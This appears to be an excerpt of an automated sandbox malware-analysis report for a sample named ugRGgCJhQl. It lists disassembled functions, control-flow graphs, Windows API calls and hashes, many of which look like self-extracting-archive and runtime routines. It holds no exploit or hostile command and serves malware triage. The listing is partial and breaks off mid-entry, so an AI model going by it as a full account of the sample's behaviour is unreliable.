                                                                        control_flow_graph 994 2e98e0-2e9901 call 2fec50 997 2e990c 994->997 998 2e9903-2e9906 994->998 1000 2e990e-2e991f 997->1000 998->997 999 2e9908-2e990a 998->999 999->1000 1001 2e9927-2e9931 1000->1001 1002 2e9921 1000->1002 1003 2e9936-2e9943 call 2e6edb 1001->1003 1004 2e9933 1001->1004 1002->1001 1007 2e994b-2e996a CreateFileW 1003->1007 1008 2e9945 1003->1008 1004->1003 1009 2e996c-2e998e GetLastError call 2ebb03 1007->1009 1010 2e99bb-2e99bf 1007->1010 1008->1007 1013 2e99c8-2e99cd 1009->1013 1016 2e9990-2e99b3 CreateFileW GetLastError 1009->1016 1011 2e99c3-2e99c6 1010->1011 1011->1013 1014 2e99d9-2e99de 1011->1014 1013->1014 1017 2e99cf 1013->1017 1018 2e99ff-2e9a10 1014->1018 1019 2e99e0-2e99e3 1014->1019 1016->1011 1020 2e99b5-2e99b9 1016->1020 1017->1014 1022 2e9a2e-2e9a39 1018->1022 1023 2e9a12-2e9a2a call 2f0602 1018->1023 1019->1018 1021 2e99e5-2e99f9 SetFileTime 1019->1021 1020->1011 1021->1018 1023->1022
                                                                        APIs
                                                                        • CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,002E7760,?,00000005,?,00000011), ref: 002E995F
                                                                        • GetLastError.KERNEL32(?,?,002E7760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 002E996C
                                                                        • CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,002E7760,?,00000005,?), ref: 002E99A2
                                                                        • GetLastError.KERNEL32(?,?,002E7760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 002E99AA
                                                                        • SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,002E7760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 002E99F9
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: File$CreateErrorLast$Time
                                                                        • String ID:
                                                                        • API String ID: 1999340476-0
                                                                        • Opcode ID: f53e3ae8f824668218365dc082e2cbb5168413fa1ab8c4442ef971737d262d7a
                                                                        • Instruction ID: b96a972a29b4c56d3aeff0d416b6c9dbe6f562d955c224c121bbeb761393bc75
                                                                        • Opcode Fuzzy Hash: f53e3ae8f824668218365dc082e2cbb5168413fa1ab8c4442ef971737d262d7a
                                                                        • Instruction Fuzzy Hash: 0C312930594386AFD730DF25CC45BEABBD8BB09320F50071EF9A1961D2D3B4A5A4CB91
                                                                        Function 002FB568 Relevance: 7.5, APIs: 5, Instructions: 38windowCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 1053 2fb568-2fb581 PeekMessageW 1054 2fb5bc-2fb5be 1053->1054 1055 2fb583-2fb597 GetMessageW 1053->1055 1056 2fb599-2fb5a6 IsDialogMessageW 1055->1056 1057 2fb5a8-2fb5b6 TranslateMessage DispatchMessageW 1055->1057 1056->1054 1056->1057 1057->1054
                                                                        APIs
                                                                        • PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 002FB579
                                                                        • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 002FB58A
                                                                        • IsDialogMessageW.USER32(000103DA,?), ref: 002FB59E
                                                                        • TranslateMessage.USER32(?), ref: 002FB5AC
                                                                        • DispatchMessageW.USER32(?), ref: 002FB5B6
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Message$DialogDispatchPeekTranslate
                                                                        • String ID:
                                                                        • API String ID: 1266772231-0
                                                                        • Opcode ID: 818798a88dbd0e6a12270a81762c53dbcd88c844912f244f29d76ee25bb96d6b
                                                                        • Instruction ID: ff9549399c042d43d624104c119c82c7f48570311f1f3e24af9202f022422ec2
                                                                        • Opcode Fuzzy Hash: 818798a88dbd0e6a12270a81762c53dbcd88c844912f244f29d76ee25bb96d6b
                                                                        • Instruction Fuzzy Hash: C2F0D0B5A0111AAB8B21AFE6DC4CDEBBFBCEE06391B404515B506D7010EF38E605CBB0
                                                                        Function 002FABAB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 1058 2fabab-2fabca GetClassNameW 1059 2fabcc-2fabe1 call 2f1fbb 1058->1059 1060 2fabf2-2fabf4 1058->1060 1065 2fabe3-2fabef FindWindowExW 1059->1065 1066 2fabf1 1059->1066 1062 2fabff-2fac01 1060->1062 1063 2fabf6-2fabf9 SHAutoComplete 1060->1063 1063->1062 1065->1066 1066->1060
                                                                        APIs
                                                                        • GetClassNameW.USER32(?,?,00000050), ref: 002FABC2
                                                                        • SHAutoComplete.SHLWAPI(?,00000010), ref: 002FABF9
                                                                          • Part of subcall function 002F1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,002EC116,00000000,.exe,?,?,00000800,?,?,?,002F8E3C), ref: 002F1FD1
                                                                        • FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 002FABE9
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AutoClassCompareCompleteFindNameStringWindow
                                                                        • String ID: EDIT
                                                                        • API String ID: 4243998846-3080729518
                                                                        • Opcode ID: da4f436e69782aea9f924efb08c63a5dc893a9a3728b0b04f3533f3dcf7175c4
                                                                        • Instruction ID: df6a13271386c86b63ebbd95ec5463bca3a6b7f888fc5d212f38dacaa12e5fd5
                                                                        • Opcode Fuzzy Hash: da4f436e69782aea9f924efb08c63a5dc893a9a3728b0b04f3533f3dcf7175c4
                                                                        • Instruction Fuzzy Hash: 0EF0E27660122D76DB319A649C0AFEFB26C9F46B80F480121FA05A70C0DB60EA51C9B6
                                                                        Function 002FAC16 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34comCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        APIs
                                                                          • Part of subcall function 002F081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 002F0836
                                                                          • Part of subcall function 002F081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,002EF2D8,Crypt32.dll,00000000,002EF35C,?,?,002EF33E,?,?,?), ref: 002F0858
                                                                        • OleInitialize.OLE32(00000000), ref: 002FAC2F
                                                                        • GdiplusStartup.GDIPLUS(?,?,00000000), ref: 002FAC66
                                                                        • SHGetMalloc.SHELL32(00328438), ref: 002FAC70
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
                                                                        • String ID: riched20.dll
                                                                        • API String ID: 3498096277-3360196438
                                                                        • Opcode ID: 54092593848b4b250600978402a84a59b886671a23c1756bbdd9cc06b33da510
                                                                        • Instruction ID: 7c732348ee3dc39cb6e23f3b0761469f98fc6ed1ce710af757e967f4e6c7bfe9
                                                                        • Opcode Fuzzy Hash: 54092593848b4b250600978402a84a59b886671a23c1756bbdd9cc06b33da510
                                                                        • Instruction Fuzzy Hash: 10F06DB5D00209ABCB11AFA9D8499EFFFFCEF85740F10412AE411E3241CBB456058FA1
                                                                        Function 002FDBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 1071 2fdbde-2fdc12 call 2fec50 SetEnvironmentVariableW call 2f0371 1076 2fdc36-2fdc38 1071->1076 1077 2fdc14-2fdc18 1071->1077 1078 2fdc21-2fdc28 call 2f048d 1077->1078 1081 2fdc1a-2fdc20 1078->1081 1082 2fdc2a-2fdc30 SetEnvironmentVariableW 1078->1082 1081->1078 1082->1076
                                                                        APIs
                                                                        • SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 002FDBF4
                                                                        • SetEnvironmentVariableW.KERNELBASE(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 002FDC30
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: EnvironmentVariable
                                                                        • String ID: sfxcmd$sfxpar
                                                                        • API String ID: 1431749950-3493335439
                                                                        • Opcode ID: 722720f8b6cedfd85d06b89eb19f32f23bed8a6cfd3f846d8f94f2d71368dd7a
                                                                        • Instruction ID: aede3b8da27138f5e18091859dd4e2075d791dc8e81ce184ac685bfe0aea28d7
                                                                        • Opcode Fuzzy Hash: 722720f8b6cedfd85d06b89eb19f32f23bed8a6cfd3f846d8f94f2d71368dd7a
                                                                        • Instruction Fuzzy Hash: 9EF0ECB246422DB7DF222F948C06FFAB75DAF18BC2B040472FF8596151D6F08990DAB0
                                                                        Function 002E9785 Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 1083 2e9785-2e9791 1084 2e979e-2e97b5 ReadFile 1083->1084 1085 2e9793-2e979b GetStdHandle 1083->1085 1086 2e97b7-2e97c0 call 2e98bc 1084->1086 1087 2e9811 1084->1087 1085->1084 1091 2e97d9-2e97dd 1086->1091 1092 2e97c2-2e97ca 1086->1092 1089 2e9814-2e9817 1087->1089 1093 2e97ee-2e97f2 1091->1093 1094 2e97df-2e97e8 GetLastError 1091->1094 1092->1091 1095 2e97cc 1092->1095 1097 2e980c-2e980f 1093->1097 1098 2e97f4-2e97fc 1093->1098 1094->1093 1096 2e97ea-2e97ec 1094->1096 1099 2e97cd-2e97d7 call 2e9785 1095->1099 1096->1089 1097->1089 1098->1097 1100 2e97fe-2e9807 GetLastError 1098->1100 1099->1089 1100->1097 1103 2e9809-2e980a 1100->1103 1103->1099
                                                                        APIs
                                                                        • GetStdHandle.KERNEL32(000000F6), ref: 002E9795
                                                                        • ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 002E97AD
                                                                        • GetLastError.KERNEL32 ref: 002E97DF
                                                                        • GetLastError.KERNEL32 ref: 002E97FE
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ErrorLast$FileHandleRead
                                                                        • String ID:
                                                                        • API String ID: 2244327787-0
                                                                        • Opcode ID: b15f20e8e8c2dc47bfbe48b7c28978f86fa863aa1b71400f0c2681b844b92cec
                                                                        • Instruction ID: e56529f93fafdc32cd68f95d59209c02ce55f627009d4d5ac2fcc526c6151660
                                                                        • Opcode Fuzzy Hash: b15f20e8e8c2dc47bfbe48b7c28978f86fa863aa1b71400f0c2681b844b92cec
                                                                        • Instruction Fuzzy Hash: 9311C2709B0245EBDF21DF27C8046A977ACFB0A360F90862BF417851A0D7708EE8DB61
                                                                        Function 0030AD34 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,002ED710,00000000,00000000,?,0030ACDB,002ED710,00000000,00000000,00000000,?,0030AED8,00000006,FlsSetValue), ref: 0030AD66
                                                                        • GetLastError.KERNEL32(?,0030ACDB,002ED710,00000000,00000000,00000000,?,0030AED8,00000006,FlsSetValue,00317970,FlsSetValue,00000000,00000364,?,003098B7), ref: 0030AD72
                                                                        • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0030ACDB,002ED710,00000000,00000000,00000000,?,0030AED8,00000006,FlsSetValue,00317970,FlsSetValue,00000000), ref: 0030AD80
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: LibraryLoad$ErrorLast
                                                                        • String ID:
                                                                        • API String ID: 3177248105-0
                                                                        • Opcode ID: 3446598ee820a59ff7fa82e43750a0f35bfa3d724d0b0ada4df3ab2561b813ac
                                                                        • Instruction ID: 938058d3b05a48e6d7e0b49e458bea48702aadc0ab3a4c1f6e40f555d8d19b64
                                                                        • Opcode Fuzzy Hash: 3446598ee820a59ff7fa82e43750a0f35bfa3d724d0b0ada4df3ab2561b813ac
                                                                        • Instruction Fuzzy Hash: BA01FC36616722ABC7234A68FC749D77B9CEF197A2B114624F906D75D0D720D801C6E1
                                                                        Function 0030BA27 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                          • Part of subcall function 003097E5: GetLastError.KERNEL32(?,00321030,00304674,00321030,?,?,00303F73,00000050,?,00321030,00000200), ref: 003097E9
                                                                          • Part of subcall function 003097E5: _free.LIBCMT ref: 0030981C
                                                                          • Part of subcall function 003097E5: SetLastError.KERNEL32(00000000,?,00321030,00000200), ref: 0030985D
                                                                          • Part of subcall function 003097E5: _abort.LIBCMT ref: 00309863
                                                                          • Part of subcall function 0030BB4E: _abort.LIBCMT ref: 0030BB80
                                                                          • Part of subcall function 0030BB4E: _free.LIBCMT ref: 0030BBB4
                                                                          • Part of subcall function 0030B7BB: GetOEMCP.KERNEL32(00000000,?,?,0030BA44,?), ref: 0030B7E6
                                                                        • _free.LIBCMT ref: 0030BA9F
                                                                        • _free.LIBCMT ref: 0030BAD5
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _free$ErrorLast_abort
                                                                        • String ID: p1
                                                                        • API String ID: 2991157371-2136682334
                                                                        • Opcode ID: 7223abda58d22a9b931c2ad0c339227b6569fd6d16e54b33f633cc2564754cae
                                                                        • Instruction ID: 17da0f42ea0f9140eae9dfb8a3d7fd67e7c95330fc8a5a989136c6c1fe60e9af
                                                                        • Opcode Fuzzy Hash: 7223abda58d22a9b931c2ad0c339227b6569fd6d16e54b33f633cc2564754cae
                                                                        • Instruction Fuzzy Hash: 6731E931A05209AFDB12EFA8D451BADF7F5EF44320F264099E9049F2E2EB329D40DB50
                                                                        Function 002FE528 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE51F
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: (/$2/
                                                                        • API String ID: 1269201914-2408752612
                                                                        • Opcode ID: 292541fffd9f51fffd511128f9749f8040b504bd33ee0ae2ba83216a182fcde3
                                                                        • Instruction ID: ab835c554847346f2588cf98c601c155d658e15b6d95fce48ebdd82b1325639d
                                                                        • Opcode Fuzzy Hash: 292541fffd9f51fffd511128f9749f8040b504bd33ee0ae2ba83216a182fcde3
                                                                        • Instruction Fuzzy Hash: 44B012C56B91447C360F61081D02C7B854DC0C5FA0371913EF606C51A1E8801C510831
                                                                        Function 002E9F7A Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetStdHandle.KERNEL32(000000F5,?,?,?,?,002ED343,00000001,?,?,?,00000000,002F551D,?,?,?), ref: 002E9F9E
                                                                        • WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,002F551D,?,?,?,?,?,002F4FC7,?), ref: 002E9FE5
                                                                        • WriteFile.KERNELBASE(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,002ED343,00000001,?,?), ref: 002EA011
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: FileWrite$Handle
                                                                        • String ID:
                                                                        • API String ID: 4209713984-0
                                                                        • Opcode ID: 22b0914ee5f65f6734555aa23f87104f07077104246e49463a3c550ce080028c
                                                                        • Instruction ID: 4b397428b849d462499953ff8ee8e1e89697b14e03b7152fc5d465c6faeba17c
                                                                        • Opcode Fuzzy Hash: 22b0914ee5f65f6734555aa23f87104f07077104246e49463a3c550ce080028c
                                                                        • Instruction Fuzzy Hash: 2A311331294386AFDF14CF21D818BAE77A9FF84710F40491DF88297290C775AD98CBA2
                                                                        Function 002EA2B2 Relevance: 4.6, APIs: 3, Instructions: 55COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                          • Part of subcall function 002EC27E: _wcslen.LIBCMT ref: 002EC284
                                                                        • CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,002EA175,?,00000001,00000000,?,?), ref: 002EA2D9
                                                                        • CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,002EA175,?,00000001,00000000,?,?), ref: 002EA30C
                                                                        • GetLastError.KERNEL32(?,?,?,?,002EA175,?,00000001,00000000,?,?), ref: 002EA329
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: CreateDirectory$ErrorLast_wcslen
                                                                        • String ID:
                                                                        • API String ID: 2260680371-0
                                                                        • Opcode ID: 6202de12c713aacce619a091494686aa64beffdb335bfecf64ee5d892077993f
                                                                        • Instruction ID: 629ac5b367f152b8101598e0afff6d7e38775e0610f495fca8007bbd0f40f907
                                                                        • Opcode Fuzzy Hash: 6202de12c713aacce619a091494686aa64beffdb335bfecf64ee5d892077993f
                                                                        • Instruction Fuzzy Hash: 0B01DD311A02D559DF22AF774C05BFD338C9F0D780F848455FD02E5091D754EAA1C672
                                                                        Function 0030B893 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0030B8B8
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Info
                                                                        • String ID:
                                                                        • API String ID: 1807457897-3916222277
                                                                        • Opcode ID: 253b499c17e7be76521381eacd31f92886ff060688357dc52f237c23695692af
                                                                        • Instruction ID: 9fb80b5c5e8d843b5bbe0ce45044b37f9fc108e4de2585f81e78dda40191b38f
                                                                        • Opcode Fuzzy Hash: 253b499c17e7be76521381eacd31f92886ff060688357dc52f237c23695692af
                                                                        • Instruction Fuzzy Hash: 5841F87050538C9EDB238E288CA4BF6FBADEB55304F1404EDE69AC6182D3359A458F60
                                                                        Function 0030AF6C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,2DE85006,00000001,?,?), ref: 0030AFDD
